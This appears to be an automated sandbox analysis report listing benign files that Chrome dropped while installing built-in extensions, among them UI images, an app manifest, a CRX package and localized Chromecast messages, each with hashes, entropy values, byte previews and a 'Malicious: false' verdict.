Preview:	<!DOCTYPE html>.<html>. <head>. <link href="/css/craw_window.css" rel="stylesheet">. <script src="/craw_window.js"></script>. </head>. <body>. <webview></webview>. <div class="craw_overlay" id="loading_overlay">. <img src="/images/icon_128.png" />. <img src="/images/flapper.gif" />. </div>. <div class="craw_overlay" id="offline_overlay">. <img src="/images/icon_128.png" />. <span id="app_unavailable"></span>. <span id="connect_to_network"></span>. </div>. <div id="drag_overlay"></div>. <div id="top_bar">. <div id='close_button'>. <img src='/images/topbar_floating_button_close.png'/>. </div>. <div id='maximize_button'>. <img src='/images/topbar_floating_button_maximize.png'/>. </div>. </div>. </body>.</html>.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\images\flapper.gif Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 30 x 30
Category:	dropped
Size (bytes):	70364
Entropy (8bit):	7.119902236613185
Encrypted:	false
SSDEEP:	768:g5TXOSBAqNIPmA8NcjCWdM0VFMJEwavTeElfWupav5TXg7wV+irIPny9MTVQHydi:g5KSmiIPmAhZWiMsDfWug7DmqM6HybkF
MD5:	398ABB308EEBC355DA70BCE907B22E29
SHA1:	CFFB77B8A1724B8F81D98C6D6AD0071D10162252
SHA-256:	2B73533F47A99FFEA9CC405FFAFA9C4C53623F62487AEBFBA415945120B22040
SHA-512:	FC7A56FC8A61A582161874B54ADBAD30A84840190008EDB0B6FBF84F91393CA58E988E3FE446F11A0C3C691C18249B93AEC2904B3D0C4F0857D79034F662385A
Malicious:	false
Reputation:	low
Preview:	GIF89a.......................................................!.......!..NETSCAPE2.0.....,.............9.:.h0.bT(6.!l.&..("gk..JL1.[....o. .(:..B(.6."...Z.CUyh0.....j.C.z8..S....2.T'...Q..4 g\|]$ueW.NyQ.IoL!AoF#9h>7.0t..%..,.@.m4..7..!.......,.............9.:.h0.bT(6.!l.&..("gk..JL1.[....o. .(:..B(.6."...Z.CUyh0.....j.C.z8..S....2.T'...Q..4 g\|]$ueW.NyQ.IoL!AoF#9h>7.0t..%..,.@.m4..7..!.......,............................................................................................................'..w=.....\.)._6.k..OF...n.#\~"....2b3..I.)..eu.Q.`.e......gr.?>.s.I0.....@.~.Tr.[8.+.,.;..EE....S.*f.....,.....B8/D..;.9.q......ukC...r.I.....j......BGY...o2J....+O4....X4.....cH%7....I.....0H!.!.....!.,.............................................................................................................................................................................................................p8.a$....hh@.4....X,A.0L..(....JX.j...,..........z.X.Q....jB.d....B..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\images\icon_128.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4364
Entropy (8bit):	7.915848007375225
Encrypted:	false
SSDEEP:	96:YjlLDJjTvXUtNvX8dgb9HT6y8nviyHG5iCRYtIP:YtNTfUzvX8KM+MGRsIP
MD5:	4DBC9F9E6F5A08D299BAC9E54DF07694
SHA1:	BB38F5DE34B1E0BE1109220BA55271087A4D9EA5
SHA-256:	91C2718DD23B4356D71F88F6146868369033291086DF327534546DFA459BEB0E
SHA-512:	A5F2B1F47502836130D8083F757B7773C1E1CB36B76AD298CC29AB2B428C8002D2F15BD839838FC326DAC3681C2F48AB25A3E7631D33726C4B25E8EC14170912
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............>a.....IDATx..yp.....gF#.:,[H.l.l..8...`/.k....,!a7Km...E...Te..T.....J...p....%.(....+...3....eY.e...L.o...5....h4...\....{?....~.u.`0.....`0.....`0.....`.Y......[(.......).4....ai..w38.+....Bf././..]...{......8...3.....3W~OJ.. /...u6V.C..U.0.+._=.c..9.X.?....L....S@.L...m.0..>.C...L\|TF.p5..f4M.,.V....8..a.<...RP..@)E,..E"...h.....!...-....,I..T..........m..._[[{w{{....{.^......M.x..h4.h.....\.R.E....j).7.....h4.A.E....,. ...iii.Vj?2...=/.B.FK9P..@)=Rj..D".Y...2.B..x.}0...&J...2.......f.O..e.H.....!.J)'I..R....B............QJ;K..L...L.l".L~mhh.R.@).FFF~.L&...~.B.......u.........}.....~.....f..yUU...........^M...6......].,w.e..~.!$.C.R.....E(%e9.,....k..@...W8.........@...........O..@%.~..@.S..P.....`Tp...."...?ME..c......s...`..S1...7.b..aNE..k...3.yP.}.Ch.}......B..........IPE..C.<....T....k......Z..o_......g........P..A=y.J.)h..@.q.-.].AU.4...F.M.....y%B]+ .\.~..9......:..=...r.....E].o...F..P........i...\|....

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\images\icon_16.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	558
Entropy (8bit):	7.505638146035601
Encrypted:	false
SSDEEP:	12:6v/7vyVgSKYsfFzXxXsrPfA+b0YX+5IOUWCQKznuow7:6yVnKYsfFzhXsrIq0YXmgQGn6
MD5:	FB9C46EA81AD3E456D90D58697C12C06
SHA1:	5FC450F7D73CCFAC8F0D818CB3392BA4D91B69DE
SHA-256:	016CA659BA080E194FBFC0929602B16506ED60AA6019FAA51410C4FD93B583E8
SHA-512:	ADD810EE9EB7CAEC505B5FD90A1F184CE39D8F8C689DCC240F188FE353B9575489492E07D572A3B1C11A1555CE66AFCA5134903E4C1AA3D54BC7C5ED3E65B50C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....IDAT8...Mk.Q...;... .....F..QW.....F....J.?.w..7~......'.Q..B]... .QS...M&_w..b&.\|`......p...f.?.D$.y^..........y...\..Z..t6..oRj.@&.u..G.qN).t.-V.>(.N.Ep]wFk.60o.]0.`Y..cT..Y.Tb.`DF.d..s.Z..E..9.4._C.._...%..*.^....4.l...Y..X..R..../...Wj+w0[.].._B.k.${.\.>.%...........lz .w.ALxo.2;..a...".p..S..&..uXS...<..6..[..zD.._.N+w.WbM7ye6X<...'(,=.r}........$f..5..P....k..."..8.s.<zgSm@.....).Y.....:e..\|.....F...I..A$.....T?.....m....8.........N...z.....V..vd.h'....C.?.....H.;]..C.M.....9.b......IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\images\topbar_floating_button.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.475799237015411
Encrypted:	false
SSDEEP:	3:yionv//thPl3xWrA4RthwkBDsTBZtnAkx/RPJDmV7bScsP4a9zln94FptVp:6v/lhPKM4nDspnAkZJNmgPdln2TTp
MD5:	8803665A6328D23CC1014A7B0E9BE295
SHA1:	9DA6EE729D5A6E9F30658B8EC954710F107A641F
SHA-256:	D5F9234DC36E7FFA85F35B2359A4F82276F8395EFA76E4553507EA990B27FC6C
SHA-512:	ECD9E71B8BA1ED8BD4CA5A0936CB66A83611C4ABCBDA76C250F4CDF4AD80320212E8F5EEB79A38910718F8346ECC1AD580A3FA835EC2B22BE497F36899FB5930
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...Q..0......2...(p...~Z.}'.>I%O...V!s..................../...`.<..`.....IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\images\topbar_floating_button_close.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	252
Entropy (8bit):	6.512071394066515
Encrypted:	false
SSDEEP:	6:6v/lhPKM4nDsp7q1hKVlomsj9rxKNgtmN0VZ+GFYep:6v/7iMXVq1ylxemNgtmKVnYM
MD5:	0599DFD9107C7647F27E69331B0A7D75
SHA1:	3198C0A5F34DB67F91A0035DBC297354CBC95525
SHA-256:	131817CD9311C03DF22D769DD2AD7FA2E6E9558863A89F7E5E1657424031A937
SHA-512:	0076ACB9D6A886BD987876E49495038F9388B292A9EFE5C9093CCA64CA3692E3A5D24E35172C7697F6AAE34B86CA217EE59C003423E46D9499BD27EC7D77A649
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<....IDATx...... ..Pp.X....H...b@...\|.^LC_.E.BP+......X.P..........q..~..p/. ..s.....%D^...$......@.!...<...).?.4{.k.G3...4..[cH..0..l.8.!r..m.R..{..........`.f...#.x.....IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\images\topbar_floating_button_hover.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.423186859407619
Encrypted:	false
SSDEEP:	3:yionv//thPl3xWrA4RthwkBDsTBZtnAkx/9lVtEHxrPLyN+ltNPhv/l2up:6v/lhPKM4nDspnAkZHVtERrPLygltNPn
MD5:	7CB6B9DC1A30F63B8BD976924B75AD96
SHA1:	0C40B0C496D2F2B5F2021C117EC8610AC03AB469
SHA-256:	721B7AAA9A42A54A349881615A12E3A26983ACA48E173FD2F66E66AA0D725735
SHA-512:	4764937364E355956B242B84010AC56102536D2AACBE4227F0E88E4DE7AB468571957EA6C33012539156E5349AE4F777115615AE3361F60ADDF9CD227424F76A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...A..0...+B.z.s...*.....$.<u..[...................h.......C.CA).....IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\images\topbar_floating_button_maximize.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	166
Entropy (8bit):	5.8155898293424775
Encrypted:	false
SSDEEP:	3:yionv//thPl3xWrA4RthwkBDsTBZttd//HmnFz1P/ZjXlUTqyCIc30ItK1p:6v/lhPKM4nDsptF/HOP/ZjXlUeyCo/p
MD5:	232CE72808B60CBE0F4FA788A76523DF
SHA1:	721A9C98C835D2CD734153BBE07833C6637ECD68
SHA-256:	AFA4EA944CBDEC8543242E627EF46D5BFD3766DCAC664E7E50CDEEF2B352740C
SHA-512:	4048EEA5A78DD569521C488C4CE4F7B77AC0454C92EE9107A81A1B3AF91A4EE036039AC1A0A6B8DD26B12E7F1595DB80B7FAA7B6A25D9032BF385528A81A8654
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...HIDATx......0.CQS.......~..."..........m.v+Sq....<!...M8m...'...@$..0....E........IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\images\topbar_floating_button_pressed.png Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.46068685940762
Encrypted:	false
SSDEEP:	3:yionv//thPl3xWrA4RthwkBDsTBZtnAkx/9lVtEXIyN+ltN1/lsg1p:6v/lhPKM4nDspnAkZHVtEZgltN1eup
MD5:	E0862317407F2D54C85E12945799413B
SHA1:	FA557F8F761A04C41C9A4BA81994E43C6C275DBB
SHA-256:	5C10CE0589EB115600F77381130B70AE0B7B3752614D86D4C89E857658AA222B
SHA-512:	07CB69327961FD0019BEF8EF7590B5524905AC373A815F73F6D9E0B26840929F919A96CAA977D4B5656704DACD0F352D568FB3997F80EE6BB94C95B58839DBFE
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...BIDATx...A..0...+B..@wu...*.....$.<u..[...................h.........M..x(....IEND.B`.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\manifest.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1322
Entropy (8bit):	5.449026004350873
Encrypted:	false
SSDEEP:	24:1HEis7ViC/yox/fiqeUoLFlmF1s80FKrGfd0d3NZNZx1Fq7eY7nfj1B:WL7V2opiV1mvs8rxTZRczhB
MD5:	01334FB9D092AF2AA46C4185E405C627
SHA1:	47AD3C0E82362FFE5B881DF8D71D6F79AB7F5796
SHA-256:	F52714812D68C577A445169D11E84DF6751C2D6886BC429643072BB5D61C6C27
SHA-512:	888D96ADB7A847ABE472145258C8C46950EB2FA3BA7D596C2E90A17C8FB06FD0155C56CC8ABA5D076D89368417464BCB2D236F9E40E53241950A01F9F8ED548F
Malicious:	false
Reputation:	low
Preview:	{.. "app": {.. "background": {.. "scripts": [ "craw_background.js" ].. }.. },.. "default_locale": "en",.. "description": "__MSG_APP_DESCRIPTION__",.. "display_in_launcher": false,.. "display_in_new_tab_page": false,.. "icons": {.. "128": "images/icon_128.png",.. "16": "images/icon_16.png".. },.. "key": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrKfMnLqViEyokd1wk57FxJtW2XXpGXzIHBzv9vQI/01UsuP0IV5/lj0wx7zJ/xcibUgDeIxobvv9XD+zO1MdjMWuqJFcKuSS4Suqkje6u+pMrTSGOSHq1bmBVh0kpToN8YoJs/P/yrRd7FEtAXTaFTGxQL4C385MeXSjaQfiRiQIDAQAB",.. "manifest_version": 2,.. "minimum_chrome_version": "29",.. "name": "__MSG_APP_NAME__",.. "oauth2": {.. "auto_approve": true,.. "client_id": "203784468217.apps.googleusercontent.com",.. "scopes": [ "https://www.googleapis.com/auth/sierra", "https://www.googleapis.com/auth/sierrasandbox", "https://www.googleapis.com/auth/chromewebstore", "https://www.googleapis.com/auth/chromewebstore.readonly" ].. },.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\42161b17-9a26-4e76-b3af-da33485a4a7b.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	768843
Entropy (8bit):	7.992932603402907
Encrypted:	true
SSDEEP:	12288:cK2ED9wjXNC1Gse83ru82/u0eKhgxuPFrDXgtbPz54Pm1D0fBmfH1sBrJ9mTiDga:cK2ED9I48seur0/uZKCuPNbgtbz6m1ob
MD5:	A11D5CAF6BF849AEB84B0C95B1C3B7CF
SHA1:	27F410CCBD75852C01C7464A1FD7EF8C29BE3916
SHA-256:	D0E62ACE64AFC334330A7AC3A2CC657914FEB321F1F89AEE11D2A6D0E7D81C31
SHA-512:	086C124DE3A01BE467647F3BCB4EA05105F690AB45417A0E3D38935ABA9E2381DF59AF98D0FFF7823CEFD5390B48807352E135AC70977AED7B413A8CC48FB590
Malicious:	false
Reputation:	low
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........6W..>Nuw9..R{c...Nq.H.K..A!....`v.k+..?.5.>v.....;.._~....tp....x.q.V...7.m.O.~.{!.o/q.'..BK..4./?'.....L..fH&.._<..&.p.k^..\s...:1y..F.N.+...X.PO@Mo....X.G1:..Y.@;..j..........=ae...0.......DU....n...n.;.Ipr..Q....:... <.....a.Y....{ei........0..0....H............0.......Mbh=.[O}.+..U.KHF(n3.\"...,g.c...6)..(.E...U...#.i.a..:...N.....P...x.O...(mC;\|.5.S.{m.aEx...[..fP.i`.y..5..R....v.$......l-m.............m....ni...`..W.....R.p.b.+...+.\k.R$e~.J\.&c%.d...M..j..V.%...+1F....D....X\.1ct.<........E.B.+.i@...8..^...&YR...I.o...,.....[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. D.'.N@.(..GK....m...A.0.."

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\am\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	17307
Entropy (8bit):	5.461848619761356
Encrypted:	false
SSDEEP:	384:arfbEVrFvMP4rMhuDopC3vUuFBYZV6uml:aHEVrFvMP4KuFvr6D6uml
MD5:	26330929DF0ED4E86F06C00C03F07CE3
SHA1:	478F3B7E7A7E007BEE182B89C2EF6FFE6045E92C
SHA-256:	621B5139ED199022BB6529AF18ED4DC312AE9F3E90ECAF3B2C9E1D12114F5B22
SHA-512:	0BE6183A1BF12575C0F99960705D4249E79CDB8528C55FF132BE99A111F09494231AD6A36CD61B090A3B34C6971D68A29373BA346888E852C52E05DC14380682
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": ".....".. },.. "1213957982723875920": {.. "message": "...... ... ..... .. ...... .... ... .... ......?".. },.. "128276876460319075": {.. "message": "..... ...".. },.. "1428448869078126731": {.. "message": ".... ......".. },.. "1522140683318860351": {.. "message": "..... ....... .... ..... .....".. },.. "1550904064710828958": {.. "message": "....".. },.. "1636686747687494376": {.. "message": "... ...".. },.. "1802762746589457177": {.. "message": "...".. },.. "1850397500312020388": {.. "message": ".$START_LINK$Google Home .......$END_LINK$ ... ...... Chromecast ..... .....? $START_SPAN$*$END_SPAN$",.. "placeholde

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\ar\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	16809
Entropy (8bit):	5.458147730761559
Encrypted:	false
SSDEEP:	192:0IprKC78JmUjk8RkeryFOYPATxLZ8fsbE3/IFV6c8TEKdl:Jrp8JjA8RkerK0lc3wFV6uml
MD5:	44325A88063573A4C77F6EF943B0FC3E
SHA1:	78908D766F3E7A0E4545E7BD823C8ED47C7164EB
SHA-256:	67A439A08804EF4BEF261BDBADD8F0FEFD51729167D01EDCA99DD4AF57D6108B
SHA-512:	889C02BC986794C58C76022E78F57F867DD1D5217687F12D679A33A2DB9E5A18F3A37CF94D8FE4585E747C78E4662EAB93361FF7D945990774C7CFCACCFB79D1
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": ".....".. },.. "1213957982723875920": {.. "message": ".. .. ........ ....... .... .... ... .......".. },.. "128276876460319075": {.. "message": "...... .......".. },.. "1428448869078126731": {.. "message": "..... .......".. },.. "1522140683318860351": {.. "message": "..... ........ .... ........ ... .....".. },.. "1550904064710828958": {.. "message": "...".. },.. "1636686747687494376": {.. "message": "......".. },.. "1802762746589457177": {.. "message": "..... .....".. },.. "1850397500312020388": {.. "message": "... ....... .. .... Chromecast .. $START_LINK$..... Google Home$END_LINK$. $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\bg\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	18086
Entropy (8bit):	5.408731329060678
Encrypted:	false
SSDEEP:	192:4jjpr342SIwPIasR9VhMkACVmrv8evj+3eXivOMbb2vVzCkwRV6V6c8TEKdl:4ZrYo+rxT+qOV6V6uml
MD5:	6911CE87E8C47223F33BEF9488272E40
SHA1:	980398F076BB7D451B18D7FDE2DE09041B1F55AD
SHA-256:	273DEF0F67F0FA080802B85EF6F334DE50A19408F46BDF41F0F099B1F5501EEA
SHA-512:	CDB69405BB553E46DCF02F71B1A394307D0051E7FA662DFFEBA7888F30DD933F13C7FD6E32F1D7AEAEE8746316873B6E1D92029724ABDC75E49DCC092172EA22
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": ".......".. },.. "1213957982723875920": {.. "message": "... .. ........ ......... ...... ...-..... ....... ..?".. },.. "128276876460319075": {.. "message": "......... .. ..........".. },.. "1428448869078126731": {.. "message": "........ .. .........".. },.. "1522140683318860351": {.. "message": "........... .. .. ........ ...., ........ .......".. },.. "1550904064710828958": {.. "message": "......".. },.. "1636686747687494376": {.. "message": ".......".. },.. "1802762746589457177": {.. "message": ".... .. .....".. },.. "1850397500312020388": {.. "message": "....... .. ............ .. Chromecast . $START_LINK$............ Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "p

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\bn\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	19695
Entropy (8bit):	5.315564774032776
Encrypted:	false
SSDEEP:	384:PrUCrcTIOeswIW/Vre/sZn8TFfzheV6uml:lPswIWtoK8xfG6uml
MD5:	F9DDF525C07251282A3BFFCEE9A09ABB
SHA1:	A343A078E804AF400A8F3E1891E3390DA754A5CD
SHA-256:	C69C6C90F7EB8F10685CD815AF1F6F1B87CF30C4E8D95DF1D577DE1105AAD227
SHA-512:	EBD339C37162984672513019D470B92DF8B743DD69D4430361EF12D42FD1C208DBDE818A7BFE20BE8A7D63CD6E02B3F4344DEA1C4AEDB8719D789981A49DA44C
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": ".... ...".. },.. "1213957982723875920": {.. "message": "..... ....... ..... ........... ...... ....... ...... ...?".. },.. "128276876460319075": {.. "message": "...... ........".. },.. "1428448869078126731": {.. "message": "...... ......... ...".. },.. "1522140683318860351": {.. "message": "..... .... ...... ....... ... ... .... ...... .....".. },.. "1550904064710828958": {.. "message": ".........".. },.. "1636686747687494376": {.. "message": "......".. },.. "1802762746589457177": {.. "message": ".....".. },.. "1850397500312020388": {.. "message": "$START_LINK$ Google

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\ca\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15518
Entropy (8bit):	5.242542310885
Encrypted:	false
SSDEEP:	384:drGUBKxMF2ayv8FrIccUVFmwf+7d9VKS3V6uml:dCUBKxMFBy0FE3UzmQ+zkSl6uml
MD5:	A90CF7930E7C3BEC61EE252DEFAD574A
SHA1:	F630CA01114A7BDD39607CB84B8280CCE218A5C6
SHA-256:	A533740E17559E2ADF40B4555C60F21EEC84E92C09CDBC19EED033A0B4DD2474
SHA-512:	598F991B344FA6724617D6CE57BB0D6D64EF86B4F5317BF6AD5EDF43E6B0A385094E7885F7A8FA2B107405B31C3D9F76E92315BC1D9BB52ACD4ECAD342917DE1
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Es congela".. },.. "1213957982723875920": {.. "message": "Quina de les opcions.seg.ents descriu millor la vostra xarxa?".. },.. "128276876460319075": {.. "message": "Detecci. de dispositius".. },.. "1428448869078126731": {.. "message": "Flu.desa del v.deo".. },.. "1522140683318860351": {.. "message": "S'ha produ.t un error en la connexi.. Torneu-ho a provar.".. },.. "1550904064710828958": {.. "message": "Correcta".. },.. "1636686747687494376": {.. "message": "Perfecta".. },.. "1802762746589457177": {.. "message": "Volum".. },.. "1850397500312020388": {.. "message": "Pots veure el Chromecast a l'$START_LINK$aplicaci. Google.Home$END_LINK$?$START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\cs\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15552
Entropy (8bit):	5.406413558584244
Encrypted:	false
SSDEEP:	192:eVdprJrG5efiTk93ebrxZR1fdc8VDCwT9fTV6c8TEKdl:2rMqiQerxQ88W7V6uml
MD5:	17E753EE877FDED25886D5F7925CA652
SHA1:	8E4EC969777CC0CEB7C12D0C1B9D87EBBB9C4678
SHA-256:	C562FCCFCE374D446BFAC30AC9B18FF17E7A3EF101C919FF857104917F300382
SHA-512:	33D61F6327FC81D7A45AA2CC97922DC527F5F43E54AA1A1638DA6EE407024A2F10CFD82CC5C3C581C2E7B216276987CB26C3FA95198572E139ACF29CC5B7ADCB
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Video zamrz.".. },.. "1213957982723875920": {.. "message": "Kter. popis nejl.pe vystihuje va.i s..?".. },.. "128276876460319075": {.. "message": "Zji..ov.n. za..zen.".. },.. "1428448869078126731": {.. "message": "Plynulost videa".. },.. "1522140683318860351": {.. "message": "P.ipojen. se nezda.ilo. Zkuste to pros.m znovu.".. },.. "1550904064710828958": {.. "message": "Plynul.".. },.. "1636686747687494376": {.. "message": "Perfektn.".. },.. "1802762746589457177": {.. "message": "Hlasitost".. },.. "1850397500312020388": {.. "message": "Vid.te sv.j Chromecast v.$START_LINK$aplikaci Google Home $END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3"..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\da\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15340
Entropy (8bit):	5.2479291792849105
Encrypted:	false
SSDEEP:	192:+Upr8XnI1MY2kPuir8j7Rd3kbTWc4QtV6c8TEKdl:FrJ1H9br8h6eZCV6uml
MD5:	F08A313C78454109B629B37521959B33
SHA1:	3D585D52EC8B4399F66D4BE88CED10F4A034FCCC
SHA-256:	23BF7E5EDF70291CA6D8F4A64788C5B86379EECB628E3DFA7DD83344612F7564
SHA-512:	9F2868AEBBF7F6167A7EA120FE65E752F9A65D1DC51072AA2413B2FDE374DA2D169D455A4788E341717F694179E6F1FA80413C080D9CD8CB397C3E84668CBFEC
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Fryser".. },.. "1213957982723875920": {.. "message": "Hvilket af f.lgende udsagn beskriver bedst dit netv.rk?".. },.. "128276876460319075": {.. "message": "Enhedsregistrering".. },.. "1428448869078126731": {.. "message": "Videostabilitet".. },.. "1522140683318860351": {.. "message": "Forbindelsen blev afbrudt. Pr.v igen.".. },.. "1550904064710828958": {.. "message": "Problemfri".. },.. "1636686747687494376": {.. "message": "Perfekt".. },.. "1802762746589457177": {.. "message": "Lydstyrke".. },.. "1850397500312020388": {.. "message": "Kan du se din Chromecast i $START_LINK$ Google Home-appen$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3".. },.. "STAR

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\de\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15555
Entropy (8bit):	5.258022363187752
Encrypted:	false
SSDEEP:	192:AJprM71A4qyJSwlk5KR5rtXsmvL0xhVw921YV6c8TEKdl:2re3jJS5A5rt8msA2KV6uml
MD5:	980FB419ED6ED94AD75686AFFB4E4C2E
SHA1:	871BFBCA6BCBA9197811883A93C50C0716562D57
SHA-256:	585C7814AFD2453232BC940252D4AE821D6E6CBCFD74A793F78E5DB8BA5342F1
SHA-512:	1681FA9C3BA882250A5005FB807D759EB8A634F1AA011725B1C865C0028BE7AB7BC16DC821A7F5BBFBA84C91E7D663ADE715284798E7E84E8FFF2D254488882D
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "H.ngenbleiben".. },.. "1213957982723875920": {.. "message": "Welche dieser Aussagen beschreibt dein Netzwerk am besten?".. },.. "128276876460319075": {.. "message": "Ger.teerkennung".. },.. "1428448869078126731": {.. "message": "Videowiedergabequalit.t".. },.. "1522140683318860351": {.. "message": "Fehler beim Herstellen der Verbindung. Bitte versuche es noch einmal.".. },.. "1550904064710828958": {.. "message": "St.rungsfrei".. },.. "1636686747687494376": {.. "message": "Perfekt".. },.. "1802762746589457177": {.. "message": "Lautst.rke".. },.. "1850397500312020388": {.. "message": "Siehst du deinen Chromecast in der $START_LINK$Google Home App$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\el\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	17941
Entropy (8bit):	5.465343004010711
Encrypted:	false
